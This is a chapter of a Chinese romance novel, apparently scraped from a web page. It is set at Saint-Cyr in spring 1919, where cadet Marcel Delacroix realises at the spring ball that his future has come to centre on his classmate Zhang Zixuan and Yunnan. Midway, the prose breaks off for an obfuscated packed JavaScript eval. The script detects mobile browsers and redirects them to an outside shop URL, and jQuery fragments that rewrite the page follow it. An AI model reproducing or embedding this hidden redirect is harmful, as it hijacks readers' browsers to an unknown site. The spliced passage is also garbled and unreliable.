民国八年春，四五月的光景，巴黎终于彻底摆脱了冬天。
圣西尔主楼前最后一块积雪在四月中旬无声融化，石阶缝隙里钻出细小的新芽，风里不再带着能割伤皮肤的冰碴，而是混进了泥土和青草被阳光晒过的气息。连续数月被阴云压得低矮的天空重新变得高远而明亮，连那些终日板着脸、仿佛从不懂得松弛为何物的教官，唇角都难得地松动了一丝。
按照圣西尔军校多年的传统，每年春季都会举办一场舞会，既是庆祝漫长冬季课程的结束，也是为即将到来的毕业季和前程预热，像一场盛大而体面的告别彩排。
舞会消息公布以后，整个军校明显活了过来，像被惊醒的蜂群重新开始嗡鸣。年轻人终究是年轻人，有人开始四处借合身的礼服，有人偷偷在宿舍对着镜子练舞步，有人终于鼓起勇气，给心仪的姑娘写下第一封措辞笨拙的信，甚至连平时最沉默寡言、对社交毫无兴趣的新生，都开始在熄灯后低声讨论未来。
未来总是令人兴奋的，带着香槟气泡一样的甜。
有人想去滚烫的北非，立下第一个军功章；有人想去神秘的中东，把沙漠画进版图；有人梦想着一步踏进总参谋部，穿上金穗制服；也有人已经在计算婚礼需要几匹马、几瓶酒。
春天像一道温暖而慷慨的风，把所有人的目光都吹向了前方，吹向了写满可能性的地平线。
除了Marcel。
舞会前一天晚上，宿舍楼里热闹得像被打翻的集市，笑声和酒味从每一扇门缝里溢出来。
几个学生围坐在Jean的床边，话题很快从枯燥的课程滑向更滚烫的毕业去向，虽然还有足足两年半才会毕业，但前途是明亮的，每个人脸上都带着对未来的笃定和醉意。
“Mon père m’a déjà trouvé un poste en Algérie.”
（我父亲已经替我联系好了阿尔及利亚的部队。）
“Moi, je vais demander l’aviation.”
（我要申请航空兵，飞上天去。）
“Et toi, Jean ?”
（Jean，你呢？）
Jean靠在椅背上，懒洋洋地笑了笑，举了举手里的杯子：
“Le ministère des Affaires étrangères.”
（外交部，喝酒谈判，总比打仗轻松。）
周围立刻响起一阵善意的起哄和口哨声。有人喝得半醉，转头望向一直沉默的Marcel，用胳膊肘撞了撞他：
“Et toi, Delacroix ?”
（Delacroix，你呢？）
Marcel正在低头看一份早已倒背如流的战术资料，闻言只是随口回答，声音里没有半分波澜：
“L’armée.”
（陆军。）
这个答案并不意外，Delacroix家世代从军，他不去陆军谁去。可下一秒，那个喝高了的学生又笑着追问，带着年轻人特有的、对未来五年十年的天真狂想：
“Et dans cinq ans ?”
（那五年以后呢？）
房间忽然安静了一瞬。五年以后，这是一个再普通不过的问题，是每个圣西尔学生都会在酒后被问到的、用来丈量野心的问题。
可不知为什么，Marcel脑子里首先浮现出来的，却不是少校的肩章，不是某场大捷的战功，也不是Delacroix家族历代挂在墙上的徽记。
而是一张云南地图。
怒江像一道深色的疤，腾冲、蒙自、河口像散落在群山里的星，而那条横贯群山、被红笔反复描摹的滇越铁路，此刻正清晰地在他闭眼的黑暗里蜿蜒。
他甚至下意识开始计算，从巴黎到昆明究竟有多远，穿过地中海需要多久，经过苏伊士运河需要多久，抵达远东以后，换乘火车、再换马帮，又需要多久才能走到那个人身边。
直到有人用力拍了拍他的肩膀，声音里带着被吓到的笑意：
“Tu rêves ?”
（你发什么呆呢？魂都丢了。）
Marcel猛地回过神，才发现宿舍里的人全都在看他，眼神惊讶又揶揄。他这才意识到自己刚刚居然当着所有人的面走神了，走神了整整几十秒。
“Rien.”
（没什么。）
他垂下眼，掩饰般地翻过一页资料。可只有他自己知道，刚才那几十秒里，他想的根本不是未来，不是Delacroix的未来，而是云南，是某个人的云南。
窗外夜色渐深，巴黎的春夜带着潮湿的凉意。而同一时间，另一栋楼的阅览室里依旧亮着一盏孤灯。张子轩坐在靠窗的位置，窗外是被路灯染成橘色的法国梧桐，窗内是他面前摊开的、永远画不完的地图。
巴黎的春天已经来了，可他计算着，云南的雨季快到了，怒江沿岸哪些桥梁需要加固，哪些路段在暴雨后容易发生滑坡，哪些区域适合未来修建支线铁路，把滇西的矿和粮运出来，所有数据都被他用蓝黑墨水一点点记录下来，笔尖划过纸面的沙沙声，是他今夜唯一的舞曲。
舞会？他甚至差点忘了这件事，忘了圣西尔还有这种与他无关的、属于“未来”的喧嚣。直到第二天下午，Jean亲自找到阅览室，看见他还穿着那身纯白色的军校礼服，对着地图皱眉，终于无奈地叹了口气，伸手敲了敲桌子：
“William.”
张子轩抬起头，眼里还带着没算完的数据。Jean上下打量他一眼，从头到脚，最后视线落在那身制服上，终于像放弃治疗一样扶住额头：
“Ne me dis pas que tu comptes assister au bal en uniforme.”
（别告诉我你打算穿军校制服参加舞会。）
张子轩怔了一下，似乎才想起今天是什么日子，眉头皱得更紧：
“Pourquoi pas ?”
（为什么不行？它很整洁。）
Jean发出一声被打败的叹息：
“Parce que c’est un bal.”
（因为那是舞会，William。）
“Pas une réunion militaire.”
（不是军事会议，也不是推演复盘。）
半小时后，圣西尔礼堂灯火辉煌。
巨大的水晶吊灯悬挂在穹顶中央，数百支蜡烛的光芒被切割成流动的星河，乐团已经开始演奏圆舞曲，年轻军官和穿着浅色裙子的姑娘们在舞池中央旋转，裙摆像花一样绽开，空气里弥漫着香槟、玫瑰和少年人野心的气味。
到处都是笑声，到处都是碰杯声，到处都是关于“未来”的、滚烫的谈论。
而Marcel站在人群边缘。他明明穿着最得体的黑色燕尾服，领口的银线在灯下泛着冷光，却显得格格不入，像一件被错放在春日宴会上的兵器。
因为别人都在看舞伴，看前程，看自己杯子里的酒，而他在找William，在找那个好像并不属于这里的人。
没过多久，他终于在人群另一端、
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17932509|213645||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
离舞池最远的窗边，看见了那个熟悉的身影。张子轩站在那里，没有跳舞，没有喝酒，甚至没有参与任何交谈，只是安静地望着夜色里的巴黎，望着那些不属于他的灯火。
灯光落在他侧脸上，把他右眼角那颗泪痣照得格外明显，像一滴永远不会坠落的、属于云南的雨。
那一刻，Marcel忽然意识到一件极其可怕的事情，像一把冰冷的刀，悄无声息地捅进了肋骨缝里。
周围所有人都在谈未来，谈阿尔及利亚，谈航空兵，谈外交部，谈五年后的自己。而自己的未来里，从“Et dans cinq ans”那个问题被问出口开始，居然全是这个人，全是云南，全是那条铁路。
这是一件极其可怕的事情，因为他甚至不知道这种变化是从什么时候开始的，最开始只是想赢，后来想看懂，想破解，再后来只是想靠近，想站在他能看见的地方，而现在，他发现自己开始思考一个更危险、更僭越、更无法回头的问题。
如果两年以后，William回云南，那自己怎么办？
Delacroix怎么办？陆军怎么办？巴黎怎么办？
乐曲仍在继续，弦乐悠扬得像情人的叹息。舞池中央掌声四起，有人拥抱，有人欢笑，有人在花饰下交换第一个亲吻。
春天正在到来，带着所有人的祝福和前程。可Marcel忽然觉得，自己像是站在一道看不见的悬崖边缘，风从脚下往上吹，吹得他指尖发冷。而悬崖下面，是云南，是怒江，是一条他从未走过、却已经在梦里走过千百次的路，是一个他从未属于、却已经开始向往的归途。
远处，张子轩似乎察觉到什么，那种被野兽盯上的本能让他抬起头。
两人的视线在喧闹的人群上方、隔着旋转的裙摆和香槟的气泡，短暂相撞。
下一秒，张子轩平静地、甚至称得上冷漠地移开目光，重新看向窗外的巴黎夜色，像什么都没有发生，像那一眼只是落错了地方的雪。
可Marcel却站在原地，很久没有动，像一尊被钉在原地的、华丽的雕塑。
因为他终于明白，Jean说得对，有些事情已经不是竞争，也不是胜负，而是一种正在缓慢生长、根系深扎进心脏里、却再也无法拔除的东西。它叫执念，或者叫别的什么、更糟糕的名字。
春夜的风吹过礼堂高窗，把乐声和花香一起卷向更高处。远处乐声悠扬，近处笑语暄哗，而无人察觉的地方，在Marcel Delacroix自己都尚未命名的心里，某种更加危险的东西，已经悄悄生出了根，刺破了所有名叫“理智”和“未来”的土。
舞会结束的时候，许多人带着舞伴离开礼堂，讨论着假期、婚约、前程和驻地，讨论着属于春天的、光明的一切。
只有Marcel仍然站在窗边，指尖无意识地敲着冰冷的大理石窗台。他望着巴黎被灯火点燃的夜色，忽然轻声说了一句，声音轻得像一片叶子落在雪上，却重得像一块墓碑：
“Le Yunnan est vraiment si loin ?”
（云南……真的有那么远吗？）
没有人回答。乐队已经退场，仆人正在熄灭蜡烛。窗外春风正暖，吹动他额前的金发。
而那一刻，他第一次开始认真地、绝望地思考一件事，一件会颠覆Delacroix百年荣耀的事。
如果有一天必须离开法国，如果有一天必须在他和巴黎之间做选择，那么跨过海洋、穿过战争、奔赴那个一万公里之外的人，会不会是自己。
而答案，正从他心底那个新生的、带着血腥味的根系里，慢慢长出来。